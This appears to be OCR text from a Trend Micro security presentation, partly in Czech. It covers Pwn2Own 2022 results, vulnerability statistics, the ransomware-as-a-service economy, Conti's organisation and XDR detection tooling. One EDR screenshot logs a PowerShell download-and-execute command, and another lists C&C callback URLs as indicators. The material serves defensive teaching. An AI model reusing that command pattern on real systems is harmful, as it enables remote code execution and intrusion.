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master ~ F1 0 Go to file Code ~

jgamblin Merge pull request #38 from Red54/patch-1 .. s

dir

loader

mirai

scripts
ForumPost.md
ForumPost.txt
LICENSE.md

README.md

README.md

Mirai BotNet

Leaked Linux.Mirai Source Code for Research/loT Development Purposes

Uploaded for research purposes and so we can develop loT and such.

© 2022 Trend Micro Inc.

See "ForumPost.txt" or ForumPost.md for the post in which it leaks, if you want to know how it is all set up and the
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INITIATIVE

< BACK TO THE BLOG Pwn20wn Vancouver for 2022 is underway, and the 15th anniversary of the contest has
already seen some amazing research demonstrated. Stay tuned to this blog for updated
° results, picture, and videos from the event. We'll be posting it all here - including the most
o recent Master of Pwn leaderboard.

Jump to Day One results; Jump to Day Two results; Jump to Day Three results
Here are the current standings for the Master of Pwn:

PRIZE $ POINTS

STAR Labs $270,000 27

PWN

Hector “P3rr0” Peralta $150,000

Masato Kinugawa $150,000

LEADERBOARD

Manfred Paul $150,000
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Synacktiv $75,000
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Day One - May 18, 2022

SUCCESS - Hector “p3rr0" Peralta was able to demonstrate an improper configuration
againsﬂMicrosoft Teams. He earns $150,000 bnd 15 Master of Pwn points.




: 1
» ‘& SUCCESS - Billy Jheng Bing-Jhong (@st424204), Muhammad Alifa Ramdhan

& ~ (@n0opsledbyte), and Nguyén Hoang Thach (@hi_im_d4rkn3ss) of STAR Labs successfully
used an OOB Read and OOB Write to achieve escalation onlOracIe Virtualboﬂ They earn
& $40,000 and 4 Master of Pwn points.

SUCCESS - Masato Kinugawa was able to execute a 3-bug chain of injection,

misconfiguraton and sandbox escape against|Microsoft Teams| earning $150,000 and 15
Master of Pwn points.

SUCCESS - Manfred Paul (@ _manfp) successfully demonstrated 2 bugs - prototype

pollution and improper input validation - onlMoziIIa Firefox] earning him $100,000 and 10

Master of Pwn points.
T —"

SUCCESS - Marcin Wigzowski was able to execute an out-of-bounds write escalation of
privilege onMicrosoft Windows 11| earning $40,000 and 4 Master of Pwn points, and high
praise on the accompanying whitepaper from the Microsoft team.

SUCCESS - Team Orca of Sea Security (security.sea.com) was able to execute 2 bugs on

.| ©2c|Ubuntu Desktop |- an Out-of-Bounds Write (OOBW) and Use-After-Free (UAF) - earning @ TREND.
$40,000 and 4 Master of Pwn points.




SUCCESS - Daniel Lim Wee Soong (@daniellimws), Poh Jia Hao (@Chocologicall), Li Jiantao
(@CurseRed) & Ngo Wei Lin (@Creastery) of STAR Labs successfully demonstrated their
zero-click exploit of 2 bugs (injection and arbitrary file write) on|Microsoft Teams| They earn
$150,000 and 15 Master of Pwn points.

SUCCESS - Manfred Paul (@ _manfp) successfully scored his second win of the day with an
out-of-band write on|Apple Safari| earning him another $50,000 and 5 additional Master of
Pwn points.

SUCCESS - Phan Thanh Duy (@PTDuy and Lé Hiru Quang Linh (@linhlhg of STAR Labs
earned $40K and 4 Master of Pwn points for a Use-After-Free elevation of privilege on
Microsoft Windows 11.

SUCCESS - Keith Yeo (@kyeojy) earned $40K and 4 Master of Pwn points for a Use-After-

Free exploit onjUbuntu Desktop)
6 | © 2022 Trend Micro Inc. ”‘
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Day Two - May 19, 2022

SUCCESS and BUG COLLISION - On the first attempt of the day, David BERARD and Vincent
DEHORS from ([@Synacktiv were able to demonstrate 2 unique bugs (Double-Free & O0OBW)
with collision on a known sandbox escape on a|Tesla Model 3 Infotainment System| They
earn $75,000 and 7.5 Master of Pwn points, and although they don't win the car outright,

they have made enough to go pick one up themselves!
e

7 © 2022 Trend Micro Inc. "
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PWN20OWN TORONTO 6.-8.12.2022

Target Cash Prize Mas::e:i:tfstn
Samsung Galaxy S22 $50,000 (USD)
Google Pixel 6 $200,000 (USD)
Apple iPhone 13 $200,000 (USD)




Master of

Sl G Pwn Points

N

TP-Link AX1800 WiFi 6 Router WAN Side $20,000 (USD)
(Archer AX21) LAN Side $5,000 (USD)

NETGEAR Nighthawk WiFié Router WAN Side $20,000 (USD)

(RAX30 AX2400) LAN Side $5,000 (USD)
WAN Side $20,000 (USD)
LAN Side $5,000 (USD)
WAN Side $30,000 (USD)
LAN Side $15,000 (USD)
WAN Side $30,000 (USD)
LAN Side $15,000 (USD)
WAN Side $30,000 (USD)
LAN Side $15,000 (USD)

Synology RTé6600ax

Cisco Integrated Service Router C921-4P

Mikrotik RouterBoard RB2011UiAS-IN

N W INWDN®O = N=IDN —

Ubiquiti Networks EdgeRouter X SFP




Target

Meta Portal Go

Amazon Echo Show 15

Google Nest Hub Max

Cash Prize

$60,000 (USD)
$60,000 (USD)
$60,000 (USD)

Master of Pwn
Points
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Figure 1: Number of vulnerabilities by CVSS severity

Figure 6: Vulnerability market coverage, 2021
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Table 1: Omdia’s vulnerability market research findings, 2021
Contribut Vulnerabilities Average base I A::::ge Average
onibitor managed score exploitability impact score Figure 2: Number of vulnerabilities by type of products targeted
score
Trend Micro 984 7.34 2.08 5115
Anti-matware _
Cisco 322 7.8 2.62 5.04
Desktop
Google 81 7.93 2:35 5.46
- Programing
Microsoft 76 7.77 2.57 5.05 2
§ Camera
Fortinet 30 6.57 2.29 4.09 ©
b4 Server
US CERT/CC 23 8.2 3.02 5.05 g
1 Routers
PAN 13 7.6 1.95 5.55 &
PDF
Check Point 9 7.01 1.47 5.4
Graphics
Kaspersky Lab 4 7.23 1.8 5.33
0s
McAfee 1 7.8 1.8 5.9
o
Grand total 1,543 7.49 225 5.12 e
Vulnerabilities ©20220mdia
© 2022 Omdia. All rights reserved. L horized reproduction prohibited.

Source: Omdia
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- * Figure 4: Number of high vulnerabilities by contributor
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Table 1: Omdia’s vulnerability market research findings, 2021
; Average Figure 3: Number of critical vulnerabilities by contribut
igure 5: Number ot critical vuinerabilities by contributor
Contibtor Vulnerabilities Average base exploitability Average
managed score impact score
score o
Trend Micro 984 7.34 2.08 5115
Cisco 322 7.8 2.62 5.04 50
Google 81 7.93 2.35 5.46 2 0
Microsoft 76 7.77 2.57 5.05 2
@
Fortinet 30 6.57 2.29 4.09 § 30 4
US CERT/CC 23 8.2 3.02 5.05 S 20
PAN 13 7.6 1.95 5.55 S
Check Point 9 7.01 1.47 5.4 10 I
2
Kaspersky Lab 4 7.23 1.8 5.33 o ‘ : . ‘ . . —
McAfee 1 7.8 1.8 5.9 Cisco Trend Micro Microsoft Google US CERT/CC Fortinet
Grand total 1,543 7.49 2.25 5.12 Contributor o e
© 2022 Omdia. All rights reserved. L horized reproduction prohibited.

® 2022 Omdia. All rights reserved. Unauthorized reproduction prohibited.



¢’ Trend Micro Cloud One™ $ Endpoint & Workload Security v

Dashboard  Actions  Alerts Policies  Administration Workload Security Account Details | Workload Sec

Events & Reports ~ Computers

v Smart Folders

Computers With sub-Groups  ~ By Platform
P3 Agent Activated
Agent offine Add ~ [ Delete... 4 Actions ~ B EBxport ~ R Columns...
NAME poLICY STATUS TASK.. LASTMANUALSCANF.. & @ @ @ & &
B3 CRIOHost Red Hat Enterprise 6 (64 bit) (5)
P8 Docker Host . .
Red Hat Enterprise 7 (64 bit) (52)
B8 Recommendation Scan older than 1 day or ng
M Red Hat Enterprise 8 (64 bit) (16)
8 Red Hat Enterprise 6 _
RB_DETECT Managed (Online) June 10,2022 19:01
P Red Hat Enterprise 7
= . RB_DETECT Managed (Online) June 13,2022 11:00
B3 Red Hat Enterprise 8 = . RB_DETECT Managed (Online) June 13,2022 12:14
£ Scanning RB_DETECT Managed (Online) June 10,2022 09:23
4] ﬁ RB_DETECT Managed (Online) June 10, 2022 09:25
(4] i . RB_DETECT Reconnaissance Detected: Network or... June 13,2022 11:14
(2] ﬁ . RB_DETECT Managed (Online) June 13,2022 11:23
y i Computers ﬁ RB_DETECT Reconnaissance Detected: Network or... June 13,2022 13:17
. ! i RB_DETECT Managed (Online) June 10, 2022 07:57
@ LinuxStart_pro_SCAN_antimalware
E RB_DETECT Reconnaissance Detected: Network or... June 13,2022 11:42
@ Oracle
E RB_DETECT Reconnaissance Detected: Network or... June 13,2022 11:44
B sAP
ﬁ| . RB_DETECT, Reconnaissance Detected: Network or... July 13,2022 11:23
= . RB_DETECT Reconnaissance Detected: Network or... July 13,2022 11:26
= RB_DETECT Managed (Online) June 14,2022 15:43
i RB_DETECT Managed (Online) June 17,2022 21:02
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Computer: darthsidious

Overview General  Advanced Intrusion Prevention Events

Anti-Malware Intrusion Prevention
Web Reputation Configuration:  On -
Device Control State: ® On, Prevent, 46 rules

Intrusion Prevention Behavior

© 00 0.

Activity Monitoring
® Prevent

Application Control O Detect

€ Firewall

Advanced TLS Traffic Inspection
ENDPOINT AND WORKLOAD

Inspect TLS/SSL traffic
© |Intrusion Prevention

WORKLOAD REQUIRED Assigned Intrusion Prevention Rules
@ Integrity Monitoring All rule availabilities ~ Vulnerabilities and Exploits ¥
@ Log Inspection
{ Assign/Unassign.. Properties. B Export ~ Application Types... . Columns...
M Interfaces
NAME APPLICATION TYPE
X Settings
€ 1011459 - Microsoft Windows RPC Remote Code Execution Vulnerability Over TCP (CVE-2022-2680... DCERPC Services - Client
@ Updates

€ 1011536 - Microsoft Windows Internet Key Exchange (IKE) Protocol Extensions Remote Code Exec... IPSec-IKE

> Overrides ) . )
€5 1010900 - Microsoft Windows SMB Information Disclosure Vulnerability (CVE-2021-28325) DCERPC Services
e 1008370 - Microsoft Malware Protection Engine Remote Code Execution Vulnerability (CVE-2017-0... Web Client Common
€ 1008478 - Microsoft MsMpEng Use After Free Vulnerability (CVE-2017-8540) Web Client Common

£3 10NRARN - Mirrnenft MeMnFnn | lee After Frae Viilnerahility (CVF-2017-R541) Weh Cliant Camman

Recommendations [T

Current Status: 46 Intrusion Prevention Rule(s) assigned
Last Scan for Recommendations: September 23, 2022 10:09
Unresolved Recommendations: Assign 220 additional rule(s)
Automatically implement Intrusion Prevention Recommendations (when possible):  Inherited (Yes) -

© 2022 Trend Micro Inc.

Inherited (Yes)

PRIORI...
2 - Normal
2 - Normal
2 - Normal
2 - Normal
2 - Normal

2 - Narmal

Intrusion Prevention license type:

SEVERI...
@ Critical
@ Critical
@ Critical
@ Critical
@ Critical

& Critical

MODE
Detect Only
Detect Only
Detect Only
Prevent
Prevent

Pravent

TYPE
Exploit
Exploit
Smart
Exploit
Exploit

Fynlnit

CAT
Vulne
Vulng
Vulne
Vulre
Vulne

Viilng




May 2021, Colonial Pipeline suffered a ransomware cyberattack
that impacted computerized equipment managing the pipeline.

Jun 2021, JBS meat processing company was attacked
by ransomware, temporarily shutting down some
operations in Australia, Canada and the US.

Jul 2021, Kaseya’s MSPs and customers became victims of a
ransomware attack, causing widespread downtime for over 1,000
companies.

15 | © 2022 Trend Micro Inc. ,‘ TR E N D‘,
MICRDO
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Ransomware Business Process

2010 2013 2016

Local and regional capabilities but actions APT-like ransomware monetization of Mass use of remote code execution (RCE)

at scale accounting database servers exploits in ransomware campaigns
Impact is localized to ransom withdrawal Worldwide capabllltles‘, mass Precise APT-like crlmlnzl morletl ation of
capabilities within the region ransomware campaigns compromised assets

2 P B = 8 233 B am

Collaborati R P . Shift to Ransom Raas affiliate Victim database Use of cloud Use of a
ofia or::;)lc:n ans;)m " aytmt.en > messaging payments via programs categorization of logs (a collaborative
r?wransfc)gri a(r:d pvai\a/rgreenmsijﬁqn vflzrl]le;/sl?r:d > platforms for bitcoin and enrichment  market of pre-  monetization
ransomware rate SMS B —— secure using big data categorized approach

" b " communications technologies credentials
actors numoers p:yysr;r;ﬂ and accesses)
$100 - $1,000 $10,000 5 BTC $100,000 — $500,000 10-15 BTC
7’

Ransomware actors make enough profit to target
e | 0209 mrend nicro inc. 0-day vulnerabilities on high-profile targets @
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How Raa$S Operates

Higrigrigri

Spam

l

Botnet Ransomware

PEDDLERS

Bulletproof

hosting, etc.

J

l

a

Ransomware Operator

Ransomware creators have designated

l_‘_l L‘.l La_l L._l roles: leader, developers, and

e pomet Resomere R meee.  infrastructure and system
| PEDDLERS J administrators.
!
i Some roles and tools are outsourced
e Access brokers provide the entry into
| N
p | : targeted organizations
Ransomware Ransomware Ransomware
Affiliate A Affiliate B Affiliate C
h\/ictims‘ >Victims" Victim;
©2021 TREND MICRO ’ TREN
J MICRO
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Profits (%total)

Media attention
Visibility to victim

Responsibility over
attack

© 2022 Trend Micro Inc.

80%

100%

S0%

20%

o%

10%

80%

Access brokers breach the
network

They sell access to other
malicious actors

80% of the profit goes to the
ransomware group

20% goes to the access broker

%
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New Ransomware Evolution

€

Dharma/Crysis, GandCrab Conti, DarkSide/BlackMatter, Nefilim
Ransom $75 - $150 Ransom $500k -S5M

Mass-mailed Installed by pentesters
Living-off-the-Land Pentesting tools & Custom scripts

Double/Triple Extortion
Leak / Shaming Sites

Bitcoin -> Monero payments
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35 Horme | Bastion | Cyber Security X | + O

‘4_ S ye—— & Q B#M e >» =
« 8%
NE e

BASTION SECURE

‘\.

Home  Industry Sectors  Managed Security Services  Consulting & Compliance  Penetration Testing  (SaaS  About

We offer specialised Public Sector cyber security services

Our penetration testers are some of the most revered in the industry and are at the forefront of new testing

techniques,

BASTION SECURE

Managed Security Services Consulting and Compliance Penetration F
Testing

Protect yo ntical assets from One-t nNe Security Assessment Service v

20 © 2022 Trend Micro Inc. ’ TREND
J MICRO
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The actor mango administered a salary fund of about US
$165,000 per month and there were more than 60 paid
members. The actor mango distributed funds to the HR staff
members elvira, ford, kagas, salamandra and viper, and
transferred money to other actors

Source: intel471
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(CFO)

Financial department

— recruitment at the cybercrime forums

*

Shief Executive Off
(CEQ)

HR manager

HR manager

HR manager

HR assistant

Human resources (HR) department

— recruitment at the cybercrime forums

racruitment at the
™ HeadHunter.ru,
SuperJobs.ru

Penetration tester team leads,
other teamn leads

Recruiting the following
specialists to join the team:
- developers,

- penetration testers;

- reverse engineers,

- system administrators;

- malware crypting service providers,
- call service providers,

- project managers;

- business analysts,

= OSINT specialists.

-

INTEL471

The image depicts the Conti gang's financial and human resources organization chart.

U}-’



Endpoint Detect Response

e  Staly sbér veskerych relevantnich udalosti na endpointech

. Response akce, které vam umozni rychle reagovat na probihajici udalost
(remote shell, run custom script, izolace agenta, zaloha operacni paméti,
blokace, ulozeni souboru, soubor do sandboxu, ...)

. Retence EDR dat za ptil roku, idedlné vice

. Propojeni a vzajemna korelace dat s dalSimi zdroji v ramci XDR, pfedevsSim NDR,
ale i e-mail, proxy, loT, mobilni telefony...

Sprava XDR/SOCu 24/7 - utok prichazi v patek vecer!
. Management na onpremise nehledejte — ty pouzitelné jsou SaaS!
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svchost.exe cmd.exe

GEMERAL

Copy to Clipboard

View Event
SEARCH

Mew Search
RESPOMNSE

Add to Block List

Terminate

© 2021 Trend Micro Inc.

L

procdump64.exe

&

powershell.exe

£  powershell.exe

Profile  Events

Observad Attack Technigues:
Possible Credential Dumping Via Command Line
Paossible Credential Dumping via Mimikatz
Unconventional PowerShell Command Line Parameters
Suspicious PowerShell Parameters Execution
Executed Powershell Downloaded or Read a File
Powershell Execution
Object type:
Process
Created:
2022-04-04 22:20:26
Process name:
powershell.exe
File path:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CLI command:
powershell.exe "iex (New-Object Net.WebClient).DownloadString(https:/...
File SHA-1:
22f9bTafa8ec980cdc57f1d1582595b5c4410d10

a

trendmi-13mvhta\demo

TRENDMI-CU

GEMERAL

Check Risk Insights Assessment

Copy to Clipboard

Show Detailed Profile
ADVANCED ANALYSIS

Check Execution Profile
SEARCH

New Search
RESPONSE

Isolate Endpoint

Start Remote Shell Session

Run Remote Custom Script
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Network Detect Response

Analyza sitového provozu vcetné inspekce aplikacni vrstvy a co nejvétsiho
mnozstvi protokol( (samotné NetFlow je dost malo)

Produkt postaveny na vykradeni Virus Total databaze s ,,umélou
inteligenci“ fakt nic neresi! - chytani exploit(, JA3/JA3S hash TLS spojeni,
kolikrat byla aplikace vidéna na svété, kategorizace web. stranek, ...

Sbér udalosti, které indikuji vyneseni dat ven (napf. prenos Sifrovaného ZIP)
Bezchybné napojeni na data z EDR

Otevrena platforma s napojenim na dalsi zdroje (STIX, TAXII, MISP, API...)
Retence dat alespon pul roku, idealné vice

Propojeni a vzajemna korelace dat s dalSimi zdroji v rdmci XDR (EDR, e-mail,
proxy, loT, mobilni telefony...)

© 2021 Trend Micro Inc. @ IB E E E‘,
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Trend Micro Vision One™  workbench 16666-20211210 » Network Analytics Report (@ 2022-09-26 18:26 (UTC+00:00) M [l Vonese

High-8| C15 4 CAC Callback  Lateral Movement  Other Malicious Activities
s activities for IP | 23.82.128
2 detected on  HTTP  SMB.
mand and Control (C&C) activities were 0.50 23 o 142.250.114.102 142.250.115.141
10.50.1.10 50.1 0.1.160 .

10.50.1.123
23.82.128.116

=) 11183) | A 10Cs (AN T7)
Indicators of Compromise

http://secost.com/kknd
Internal Hosts hitp:#isecost.comkknd
% High
4 - Command and Controf
CA&C Callback
[DDI-4155]

Callback
win10-1123 (10.50.1.123)
23.82.128.118
2021-12-10 22:27:52
2021-12-10 22:27:52

http://secost. com/match
http://secast.comicm
hitp://secast.comisubmit.php
http://secost.com:8080/submit.php
10.50.1.123

23.82128.116

2021 Trend Micro Inc
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. 3. Sandbox — casteji jako nastroj SOCu

*  Moznost plné konfigurace virtualniho prostredi
— Vlastni jazykové verze
— Moznost instalace vlastnich aplikaci, podpora libovolného typu souboru
— Desktopové i serverové operacni systémy, Windows, Linux, MacOS
— V praxi i 300MB soubor (ktery v zipu ma 20KB)

*  Funkce interaktivniho spusténi vzorku na konzoli pres VNC
 Pokrocila detekce anti-sandbox technik (anti-anti)
* Napojeni na produkty, ICAP, sken NFS/CIFS, API,

27 © 2021 Trend Micro Inc.




4. Proc¢ je dulezité miti Filipa (¢lovéka)

* jletadlo Emirates pilotuji min 2 lidé (neprecenujte Al)
* Lidi nejsou, diky HO pracuji pro vendory
« Utok pfichazi v patek vecer

 Managed XDR - vyuzijte sluzeb vyrobce, 24/7
e Kvalitni pravidelné skoleni svych ,vojaku”
* Snizujte hodnotu informace!

28 © 2021 Trend Micro Inc. ,‘
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» Trend Micro™ XDR -
CAPTURE THE FLAG
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